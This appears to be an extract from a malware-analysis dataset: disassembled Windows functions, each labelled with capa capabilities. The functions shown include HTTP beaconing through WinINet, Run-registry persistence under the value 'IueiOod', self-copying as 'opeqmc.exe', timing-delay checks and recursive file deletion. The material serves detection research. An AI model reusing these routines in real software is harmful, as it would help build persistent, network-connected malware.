joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409df4
Capabilities:
Connect to http server
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1210
call fcn.0040d5b0
push ebx
push esi
lea eax, [ebp - 0x210]
push edi
add edx, 0xe
push eax
call fcn.00405511
lea eax, [ebp - 0x210]
push eax
call fcn.00405451
xor ebx, ebx
push 0x423ec8
mov word [ebp + eax*2 - 0x212], bx
call fcn.00405451
add esp, 0xc
mov dword [ebp - 8], eax
call fcn.0040beea
cmp dword [ebp - 8], ebx
mov esi, eax
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], ebx
jbe 0x409e8e
movsx ax, byte [esi]
sub ax, 2
movzx ecx, ax
mov eax, dword [ebp - 4]
push 3
xor edx, edx
pop edi
div edi
sub edx, ebx
je 0x409e7a
dec edx
je 0x409e72
dec edx
jne 0x409e80
add ecx, 0xfffe
jmp 0x409e80
add ecx, 0xfffb
jmp 0x409e80
add ecx, 0xffff
mov byte [esi], cl
inc esi
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x409e4b
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x210]
push eax
push dword [0x4114e4]
call dword [sym.imp.WININET.dll_InternetConnectW]
cmp eax, ebx
jne 0x409eb1
xor eax, eax
jmp 0x409f26
push ebx
push 0x4400100
push ebx
push ebx
push ebx
push dword [ebp + 8]
push 0x40f0a0
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov esi, eax
cmp esi, ebx
je 0x409ead
push dword [ebp - 8]
push dword [ebp - 0xc]
push ebx
push dword [ebp + 0xc]
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
push dword [ebp - 0xc]
mov edi, eax
call fcn.0040be3a
cmp edi, ebx
pop ecx
je 0x409ead
lea eax, [ebp - 0x10]
push eax
push 0x1000
lea eax, [ebp - 0x1210]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov esi, eax
cmp esi, ebx
je 0x409f24
mov eax, dword [ebp - 0x10]
mov byte [ebp + eax - 0x1210], bl
mov ebx, dword [ebp + 0x10]
lea ecx, [ebp - 0x1210]
call fcn.0040bf35
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409fb1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push 0x2c
push 0x40f740
call fcn.0040d258
xor ebx, ebx
mov dword [ebp - 4], ebx
or dword [ebp - 0x1c], 0xffffffff
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [ebp - 0x20], eax
cmp edi, ebx
jl 0x40a030
cmp word [ebp - 0x1c], 0xffff
jne 0x40a030
call esi
sub eax, dword [ebp - 0x20]
cmp eax, 0x15f90
ja 0x40a04b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push ebx
push ebx
push ebx
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x40a011
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x409ff2
movzx eax, byte [ebp + 8]
imul eax, eax, 0x14
mov eax, dword [eax + 0x427ed0]
mov ecx, dword [eax]
lea edx, [ebp - 0x1c]
push edx
push eax
call dword [ecx + 0x7c]
mov edi, eax
cmp edi, ebx
jl 0x40a04b
jmp 0x409fd3
or dword [ebp - 4], 0xffffffff
xor eax, eax
inc eax
jmp 0x40a051
or dword [ebp - 4], 0xffffffff
xor eax, eax
call fcn.0040d293
ret
Function at 0x40a156
Capabilities:
Find taskbar

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x4110a4], 0
push ebx
push esi
push edi
mov ebx, eax
jne 0x40a176
call fcn.0040a0b5
test eax, eax
mov dword [ebp - 8], eax
jne 0x40a188
mov esi, ebx
call fcn.0040a057
test eax, eax
mov dword [ebp - 8], eax
je 0x40a23d
push str.eventConn
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [ebx]
mov edx, dword [ecx]
sub esp, 0x10
mov edi, esp
mov word [ebp - 0x18], 3
mov dword [ebp - 0x10], 1
lea esi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x88]
mov eax, dword [ebx]
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push eax
call dword [ecx + 0x94]
xor esi, esi
cmp dword [ebp - 4], esi
je 0x40a224
push esi
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowW]
cmp eax, esi
je 0x40a1e8
push eax
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetParent]
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x80
push eax
push 0xffffffffffffffec
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x10
push dword [0x415278]
mov eax, 0x1388
push dword [0x41fdb0]
push eax
push eax
push 1
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
mov eax, dword [ebx]
mov ecx, dword [eax]
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov ebx, dword [ebx]
mov eax, dword [ebx]
push esi
push ebx
call dword [eax + 0xf0]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ac20
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
push eax
push 1
push 0
mov ebx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push ebx
push 0x80000001
call edi
test eax, eax
jne 0x40ac60
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
test eax, eax
pop ecx
pop ecx
jne 0x40ac8e
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
push 0
push ebx
push 0x80000002
call edi
test eax, eax
je 0x40ac7c
xor eax, eax
jmp 0x40ac8e
push dword [ebp + 8]
lea esi, [ebp - 4]
push str.IueiOod
call fcn.004069c0
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5b0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.opeqmc.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3e0
lea eax, [ebp - 0x1800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
jne 0x40b3e0
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.IueiOod
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3ca
push ebx
push 3
jmp 0x40b3d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3db
call fcn.0040ab7c
test eax, eax
je 0x40b453
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b453
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b453
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b4ad
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b498
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b4a3
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b44c
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4cf
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x411040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4e9
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b44c
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411058], ebx
jmp 0x40b3db

Function at 0x40cd66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd70
repz ret
jmp fcn.0040d00b
Function at 0x403059
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
cmp eax, esi
jl 0x403084
mov ecx, dword [0x424798]
push esi
add eax, ecx
push esi
push eax
mov dword [0x4178dc], eax
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 4
call fcn.00403161
cmp eax, esi
jl 0x40315b
lea eax, [ebp + 8]
push 4
push eax
push dword [0x40a01c]
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp + 8]
add dword [0x4178dc], 4
call fcn.00403161
mov ebx, eax
cmp ebx, esi
jl 0x403159
cmp dword [ebp + 0x10], esi
jne 0x403127
cmp dword [ebp + 8], esi
jle 0x403159
mov esi, 0x4138d8
cmp dword [ebp + 8], 0x4000
mov eax, dword [ebp + 8]
jl 0x4030e9
mov eax, 0x4000
push eax
push esi
push dword [0x40a01c]
mov dword [ebp - 4], eax
call fcn.00405ce5
test eax, eax
je 0x40314b
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call fcn.00405d14
test eax, eax
je 0x403123
mov eax, dword [ebp - 4]
sub dword [ebp + 8], eax
add dword [0x4178dc], eax
add ebx, eax
cmp dword [ebp + 8], 0
jg 0x4030d8
jmp 0x403159
push 0xfffffffffffffffe
jmp 0x40314d
mov eax, dword [ebp + 8]
cmp eax, dword [ebp + 0x14]
jl 0x403132
mov eax, dword [ebp + 0x14]
lea ecx, [ebp - 4]
push esi
push ecx
push eax
push dword [ebp + 0x10]
push dword [0x40a01c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403150
push 0xfffffffffffffffd
pop eax
jmp 0x40315b
mov ebx, dword [ebp - 4]
add dword [0x4178dc], ebx
mov eax, ebx
pop esi
pop ebx
leave
ret 0x10
Function at 0x4056c1
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x40837c
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x40836c
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x405712
xor eax, eax
jmp 0x405739
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405739
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
jne 0x40570e
call esi
pop esi
leave
ret 4

Function at 0x405773
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x422538], 0x44
push eax
xor eax, eax
push 0x422538
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4057b2
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x4057b6
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x405854
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405c48
mov edi, eax
cmp edi, 0xffffffff
je 0x405895
test byte [esp + 0x10], 1
push esi
je 0x405877
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x40587d
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405886
xor eax, eax
inc eax
jmp 0x405897
test byte [esp + 0x10], 4
jne 0x405895
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x40589c
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.00405b5a
test bl, 8
mov dword [ebp - 0xc], eax
je 0x4058db
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x4247c8], eax
jmp 0x405a65
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4058f5
test eax, eax
je 0x405a13
test bl, 2
je 0x405a13
mov esi, 0x421d38
push edi
push esi
call fcn.004060d4
cmp dword [ebp + 8], 0
je 0x405914
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x40591a
push edi
call fcn.00405ab3
cmp byte [edi], 0
jne 0x405928
cmp byte [0x421d38], 0x5c
jne 0x405933
push 0x40a014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x405a09
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405a97
cmp byte [eax], 0
je 0x405979
cmp byte [ebp - 0x1c], 0
je 0x405979
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x40598f
mov al, byte [esi + 1]
test al, al
je 0x4059e8
cmp al, 0x2e
jne 0x40598f
cmp byte [esi + 2], 0
je 0x4059e8
push esi
push ebx
call fcn.004060d4
test byte [ebp - 0x14c], 0x10
je 0x4059b4
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4059e8
push dword [ebp + 0xc]
push edi
call fcn.0040589c
jmp 0x4059e8
push dword [ebp - 4]
push edi
call fcn.00405854
test eax, eax
jne 0x4059e0
cmp dword [ebp - 4], eax
je 0x4059d8
push edi
push 0xfffffffffffffff1
call fcn.004051fb
push 0
push edi
call fcn.00405eb3
jmp 0x4059e8
inc dword [0x4247c8]
jmp 0x4059e8
push edi
push 0xfffffffffffffff2
call fcn.004051fb
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405957
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405a13
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405a65
cmp dword [ebp - 0xc], esi
jne 0x405a27
inc dword [0x4247c8]
jmp 0x405a65
push edi
call fcn.004063d7
test eax, eax
je 0x405a65
push edi
call fcn.00405a6c
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405854
test eax, eax
jne 0x405a5d
cmp dword [ebp - 4], esi
je 0x405a1f
push edi
push 0xfffffffffffffff1
call fcn.004051fb
push esi
push edi
call fcn.00405eb3
jmp 0x405a65
push edi
push 0xffffffffffffffe5
call fcn.004051fb
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x405b5a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x422138
push esi
call fcn.004060d4
push esi
call fcn.00405b05
mov edi, eax
test edi, edi
jne 0x405b7b
xor eax, eax
jmp 0x405bcd
push edi
call fcn.0040633e
test byte [0x42473c], 0x80
je 0x405b94
mov al, byte [edi]
test al, al
je 0x405b77
cmp al, 0x5c
je 0x405b77
sub edi, esi
jmp 0x405bac
call fcn.004063d7
test eax, eax
je 0x405ba6
test byte [eax], 0x10
je 0x405b77
push esi
call fcn.00405ab3
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x405b98
call fcn.00405a6c
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405c48
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, eax
cmp esi, 0xffffffff
je 0x405c67
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, esi
pop esi
ret 4

Function at 0x405c6d
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x405c9c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
mov eax, dword [0x40a3cc]
dec edi
mov dword [ebp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405ce1
test edi, edi
jne 0x405ca7
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x405cdb
Function at 0x405d43
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
test esi, esi
mov dword [0x422ac0], 0x4c554e
mov edi, 0x400
mov ebp, 0x422ac0
je 0x405d8f
push 1
push 0
push esi
call fcn.00405c6d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405eae
cmp eax, edi
jg 0x405eae
mov esi, 0x422ec0
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405eae
cmp eax, edi
jg 0x405eae
push esi
push ebp
push str._s_s_r_n
push 0x4226c0
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x424734]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.004060f6
push 4
push 0xc0000000
push esi
call fcn.00405c6d
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x18], ebp
je 0x405eae
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x405ea7
push edi
push esi
push ebp
call fcn.00405ce5
test eax, eax
je 0x405ea7
push str._Rename__r_n
push esi
call fcn.00405bd2
test eax, eax
jne 0x405e45
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add edi, 0xa
jmp 0x405e7a
add eax, 0xa
push 0x40a3d0
push eax
call fcn.00405bd2
mov ebp, eax
test ebp, ebp
je 0x405e76
lea ecx, [esi + edi]
lea eax, [ecx + ebx]
jmp 0x405e67
mov dl, byte [ecx]
mov byte [eax], dl
dec eax
dec ecx
cmp ecx, ebp
ja 0x405e61
sub ebp, esi
inc ebp
mov eax, ebp
mov ebp, dword [esp + 0x18]
jmp 0x405e7c
mov ebp, dword [esp + 0x18]
mov eax, edi
push ebx
add eax, esi
push 0x4226c0
push eax
call fcn.00405c28
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add edi, ebx
push edi
push esi
push ebp
call fcn.00405d14
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x405eb3
Capabilities:
Move file

Disassembly:
push 5
push dword [esp + 0xc]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x405ed6
push dword [esp + 8]
push dword [esp + 8]
call fcn.00405d43
pop ecx
pop ecx
inc dword [0x4247d0]
ret 8

Function at 0x405fbb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
neg eax
sbb eax, eax
mov dword [ebp - 4], 0x400
and eax, 0x100
or eax, 0x20019
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00405f5a
mov esi, dword [ebp + 0x14]
test eax, eax
jne 0x40602a
lea eax, [ebp - 4]
push edi
push eax
lea eax, [ebp + 0xc]
push esi
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
and byte [esi + 0x3ff], 0
test edi, edi
pop edi
jne 0x40602a
cmp dword [ebp + 0xc], 1
je 0x40602d
cmp dword [ebp + 0xc], 2
je 0x40602d
and byte [esi], 0
pop esi
leave
ret 0x14
Function at 0x4063fe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x406422
xor eax, eax
test eax, eax
je 0x406434
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406434
xor ecx, ecx
jmp 0x406437
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x406523
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232c4], 0
push esi
jne 0x40655a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406534
mov dword [ecx*4 + 0x4232c0], eax
inc ecx
cmp ecx, 0x100
jl 0x40652f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40658b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232c0]
xor eax, esi
inc ecx
dec edx
jne 0x40656d
pop edi
not eax
pop esi
ret 0xc

Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
jmp 0x403a1c
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x405076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x405220], eax
mov dword [0x4051a8], 0x403098
mov dword [0x4051a4], 2
jmp 0x403a4c
mov dword [0x4051ac], 0
mov dword [0x4051b0], 0
mov dword [0x4051a0], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4051b4], eax
mov dword [0x4051c8], 0x40426e
mov dword [0x4051c0], 0xf
mov dword [0x40506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4051b8], eax
mov dword [0x4051cc], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4051bc], eax
push 0x4051a0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x40506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.justam
push 0x40426e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x405218], eax
push 5
push dword [0x405218]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x405218]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x403b1f
push 0
push 0
push 0
push 0x4051d0
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x403b4c
push 0x4051d0
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x4051d0
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x403b1f
mov eax, dword [0x4051d8]
jmp 0x403b59
call 0x402be1
ret
Function at 0x401cc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
mov dword [ebp - 4], ecx
push edi
lea ecx, [ebp - 0x10]
mov ebx, edx
call fcn.00411b60
lea ecx, [ebp - 0x1c]
call fcn.00411b60
push 0x3c
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [ebp - 0x58], 0x3c
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x54], 0x740
mov dword [ebp - 0x3c], 0xa
test bl, 1
je 0x401d18
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x54], 0x8740
test bl, 2
je 0x401d24
mov dword [ebp - 0x4c], str.runas
and ebx, 0x10000
jne 0x401d33
or dword [ebp - 0x54], 0x100
mov eax, dword [0x41e72c]
push 5
push eax
mov dword [ebp - 0x50], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_BringWindowToTop]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x10]
call fcn.0040310a
push eax
lea ecx, [ebp - 0x1c]
call fcn.00411be5
cmp dword [ebp - 0xc], edi
jne 0x401d7b
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
xor eax, eax
inc eax
jmp 0x401dc2
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x401db0
cmp ebx, edi
jne 0x401da4
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor edi, edi
inc edi
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x10]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, edi
pop ecx
pop ecx
pop edi
pop ebx
leave
ret 4